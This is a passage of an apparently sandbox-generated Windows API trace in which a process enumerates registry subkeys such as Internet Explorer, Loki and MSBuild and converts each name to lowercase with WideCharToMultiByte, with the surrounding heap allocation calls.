cchWideChar=11, lpMultiByteStr=0x94c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flashconfig", lpUsedDefaultChar=0x0) returned 11 [0038.181] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c0d8 [0038.181] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.181] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c0d8) returned 1 [0038.181] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94bbb8) returned 1 [0038.181] RegEnumKeyW (in: hKey=0x34, dwIndex=0x23, lpName=0x94b930, cchName=0x104 | out: lpName="FTH") returned 0x0 [0038.181] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94bbb8 [0038.182] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fth", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0038.182] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c0d8 [0038.182] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fth", cchWideChar=3, lpMultiByteStr=0x94c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fth", lpUsedDefaultChar=0x0) returned 3 [0038.182] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.182] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c0d8) returned 1 [0038.182] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.182] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94bbb8) returned 1 [0038.182] RegEnumKeyW (in: hKey=0x34, dwIndex=0x24, lpName=0x94b930, cchName=0x104 | out: lpName="Function Discovery") returned 0x0 [0038.182] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94bbb8 [0038.182] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="function discovery", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0038.182] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.182] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="function discovery", cchWideChar=18, lpMultiByteStr=0x94c120, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="function discovery", lpUsedDefaultChar=0x0) returned 18 [0038.182] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c0d8 [0038.182] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.182] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c0d8) returned 1 [0038.182] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94bbb8) returned 1 [0038.182] RegEnumKeyW (in: hKey=0x34, dwIndex=0x25, lpName=0x94b930, cchName=0x104 | out: lpName="Fusion") returned 0x0 [0038.182] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94bbb8 [0038.182] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fusion", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0038.182] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c0d8 [0038.182] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fusion", cchWideChar=6, lpMultiByteStr=0x94c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fusion", lpUsedDefaultChar=0x0) returned 6 [0038.182] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.182] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c0d8) returned 1 [0038.182] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.182] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94bbb8) returned 1 [0038.182] RegEnumKeyW (in: hKey=0x34, dwIndex=0x26, lpName=0x94b930, cchName=0x104 | out: lpName="GPUPipeline") returned 0x0 [0038.182] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94bbb8 [0038.182] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpupipeline", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.182] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.182] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpupipeline", cchWideChar=11, lpMultiByteStr=0x94c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gpupipeline", lpUsedDefaultChar=0x0) returned 11 [0038.182] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c0d8 [0038.183] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.183] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c0d8) returned 1 [0038.183] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94bbb8) returned 1 [0038.183] RegEnumKeyW (in: hKey=0x34, dwIndex=0x27, lpName=0x94b930, cchName=0x104 | out: lpName="HTMLHelp") returned 0x0 [0038.183] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94bbb8 [0038.183] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="htmlhelp", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0038.183] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c0d8 [0038.183] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="htmlhelp", cchWideChar=8, lpMultiByteStr=0x94c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="htmlhelp", lpUsedDefaultChar=0x0) returned 8 [0038.183] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.183] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c0d8) returned 1 [0038.183] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.183] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94bbb8) returned 1 [0038.183] RegEnumKeyW (in: hKey=0x34, dwIndex=0x28, lpName=0x94b930, cchName=0x104 | out: lpName="IdentityCRL") returned 0x0 [0038.183] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94bbb8 [0038.183] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitycrl", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.183] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.183] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitycrl", cchWideChar=11, lpMultiByteStr=0x94c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identitycrl", lpUsedDefaultChar=0x0) returned 11 [0038.183] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c0d8 [0038.183] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.183] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c0d8) returned 1 [0038.183] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94bbb8) returned 1 [0038.183] RegEnumKeyW (in: hKey=0x34, dwIndex=0x29, lpName=0x94b930, cchName=0x104 | out: lpName="IdentityStore") returned 0x0 [0038.183] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94bbb8 [0038.183] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitystore", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0038.183] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c0d8 [0038.183] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitystore", cchWideChar=13, lpMultiByteStr=0x94c0d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identitystore", lpUsedDefaultChar=0x0) returned 13 [0038.183] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.183] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c0d8) returned 1 [0038.183] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.183] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94bbb8) returned 1 [0038.183] RegEnumKeyW (in: hKey=0x34, dwIndex=0x2a, lpName=0x94b930, cchName=0x104 | out: lpName="IMAPI") returned 0x0 [0038.184] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94bbb8 [0038.184] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0038.184] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.184] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imapi", cchWideChar=5, lpMultiByteStr=0x94c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imapi", lpUsedDefaultChar=0x0) returned 5 [0038.184] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c0d8 [0038.184] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.184] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c0d8) returned 1 [0038.184] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94bbb8) returned 1 [0038.184] RegEnumKeyW (in: hKey=0x34, dwIndex=0x2b, lpName=0x94b930, cchName=0x104 | out: lpName="IMEJP") returned 0x0 [0038.184] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94bbb8 [0038.184] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0038.184] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c0d8 [0038.184] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0x94c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imejp", lpUsedDefaultChar=0x0) returned 5 [0038.184] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.184] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c0d8) returned 1 [0038.184] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.184] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94bbb8) returned 1 [0038.184] RegEnumKeyW (in: hKey=0x34, dwIndex=0x2c, lpName=0x94b930, cchName=0x104 | out: lpName="IMEKR") returned 0x0 [0038.184] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94bbb8 [0038.184] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imekr", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0038.184] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.184] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imekr", cchWideChar=5, lpMultiByteStr=0x94c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imekr", lpUsedDefaultChar=0x0) returned 5 [0038.184] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c0d8 [0038.184] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.184] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c0d8) returned 1 [0038.184] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94bbb8) returned 1 [0038.184] RegEnumKeyW (in: hKey=0x34, dwIndex=0x2d, lpName=0x94b930, cchName=0x104 | out: lpName="IMETC") returned 0x0 [0038.184] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94bbb8 [0038.185] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imetc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0038.185] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c0d8 [0038.185] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imetc", cchWideChar=5, lpMultiByteStr=0x94c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imetc", lpUsedDefaultChar=0x0) returned 5 [0038.185] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.185] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c0d8) returned 1 [0038.185] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.185] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94bbb8) returned 1 [0038.185] RegEnumKeyW (in: hKey=0x34, dwIndex=0x2e, lpName=0x94b930, cchName=0x104 | out: lpName="Internet Account Manager") returned 0x0 [0038.185] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94bbb8 [0038.185] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet account manager", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0038.185] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.185] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet account manager", cchWideChar=24, lpMultiByteStr=0x94c120, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet account manager", lpUsedDefaultChar=0x0) returned 24 [0038.185] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c0d8 [0038.185] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.185] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c0d8) returned 1 [0038.185] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94bbb8) returned 1 [0038.185] RegEnumKeyW (in: hKey=0x34, dwIndex=0x2f, lpName=0x94b930, cchName=0x104 | out: lpName="Internet Domains") returned 0x0 [0038.185] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94bbb8 [0038.185] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet domains", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0038.185] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c0d8 [0038.185] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet domains", cchWideChar=16, lpMultiByteStr=0x94c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet domains", lpUsedDefaultChar=0x0) returned 16 [0038.185] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.185] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c0d8) returned 1 [0038.185] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.185] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94bbb8) returned 1 [0038.185] RegEnumKeyW (in: hKey=0x34, dwIndex=0x30, lpName=0x94b930, cchName=0x104 | out: lpName="Internet Explorer") returned 0x0 [0038.185] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94bbb8 [0038.185] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0038.185] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.185] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0x94c120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet explorer", lpUsedDefaultChar=0x0) returned 17 [0038.185] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c0d8 [0038.186] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.186] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c0d8) returned 1 [0038.186] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94bbb8) returned 1 [0038.186] RegEnumKeyW (in: hKey=0x34, dwIndex=0x31, lpName=0x94b930, cchName=0x104 | out: lpName="IsoBurn") returned 0x0 [0038.186] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94bbb8 [0038.186] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isoburn", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0038.186] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c0d8 [0038.186] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isoburn", cchWideChar=7, lpMultiByteStr=0x94c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="isoburn", lpUsedDefaultChar=0x0) returned 7 [0038.186] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.186] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c0d8) returned 1 [0038.186] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.186] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94bbb8) returned 1 [0038.186] RegEnumKeyW (in: hKey=0x34, dwIndex=0x32, lpName=0x94b930, cchName=0x104 | out: lpName="Loki") returned 0x0 [0038.186] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94bbb8 [0038.186] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="loki", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0038.186] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.186] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="loki", cchWideChar=4, lpMultiByteStr=0x94c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="loki", lpUsedDefaultChar=0x0) returned 4 [0038.186] RegEnumKeyW (in: hKey=0x34, dwIndex=0x33, lpName=0x94b930, cchName=0x104 | out: lpName="MediaCenterPeripheral") returned 0x0 [0038.186] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediacenterperipheral", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0038.186] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediacenterperipheral", cchWideChar=21, lpMultiByteStr=0x94c0d8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mediacenterperipheral", lpUsedDefaultChar=0x0) returned 21 [0038.186] RegEnumKeyW (in: hKey=0x34, dwIndex=0x34, lpName=0x94b930, cchName=0x104 | out: lpName="MediaPlayer") returned 0x0 [0038.186] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediaplayer", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.186] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediaplayer", cchWideChar=11, lpMultiByteStr=0x94c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mediaplayer", lpUsedDefaultChar=0x0) returned 11 [0038.186] RegEnumKeyW (in: hKey=0x34, dwIndex=0x35, lpName=0x94b930, cchName=0x104 | out: lpName="MessengerService") returned 0x0 [0038.186] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="messengerservice", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0038.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="messengerservice", cchWideChar=16, lpMultiByteStr=0x94c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messengerservice", lpUsedDefaultChar=0x0) returned 16 [0038.187] RegEnumKeyW (in: hKey=0x34, dwIndex=0x36, lpName=0x94b930, cchName=0x104 | out: lpName="Microsoft Reference") returned 0x0 [0038.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft reference", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0038.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft reference", cchWideChar=19, lpMultiByteStr=0x94c120, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft reference", lpUsedDefaultChar=0x0) returned 19 [0038.187] RegEnumKeyW (in: hKey=0x34, dwIndex=0x37, lpName=0x94b930, cchName=0x104 | out: lpName="Microsoft SQL Server Compact Edition") returned 0x0 [0038.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sql server compact edition", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0038.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sql server compact edition", cchWideChar=36, lpMultiByteStr=0x94c0d8, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft sql server compact edition", lpUsedDefaultChar=0x0) returned 36 [0038.187] RegEnumKeyW (in: hKey=0x34, dwIndex=0x38, lpName=0x94b930, cchName=0x104 | out: lpName="MigWiz") returned 0x0 [0038.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="migwiz", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0038.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="migwiz", cchWideChar=6, lpMultiByteStr=0x94c120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="migwiz", lpUsedDefaultChar=0x0) returned 6 [0038.187] RegEnumKeyW (in: hKey=0x34, dwIndex=0x39, lpName=0x94b930, cchName=0x104 | out: lpName="MMC") returned 0x0 [0038.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0038.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmc", cchWideChar=3, lpMultiByteStr=0x94c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mmc", lpUsedDefaultChar=0x0) returned 3 [0038.187] RegEnumKeyW (in: hKey=0x34, dwIndex=0x3a, lpName=0x94b930, cchName=0x104 | out: lpName="Mobile") returned 0x0 [0038.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mobile", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0038.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mobile", cchWideChar=6, lpMultiByteStr=0x94c120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mobile", lpUsedDefaultChar=0x0) returned 6 [0038.187] RegEnumKeyW (in: hKey=0x34, dwIndex=0x3b, lpName=0x94b930, cchName=0x104 | out: lpName="MSBuild") returned 0x0 [0038.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msbuild", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0038.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msbuild", cchWideChar=7, lpMultiByteStr=0x94c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msbuild", lpUsedDefaultChar=0x0) returned 7 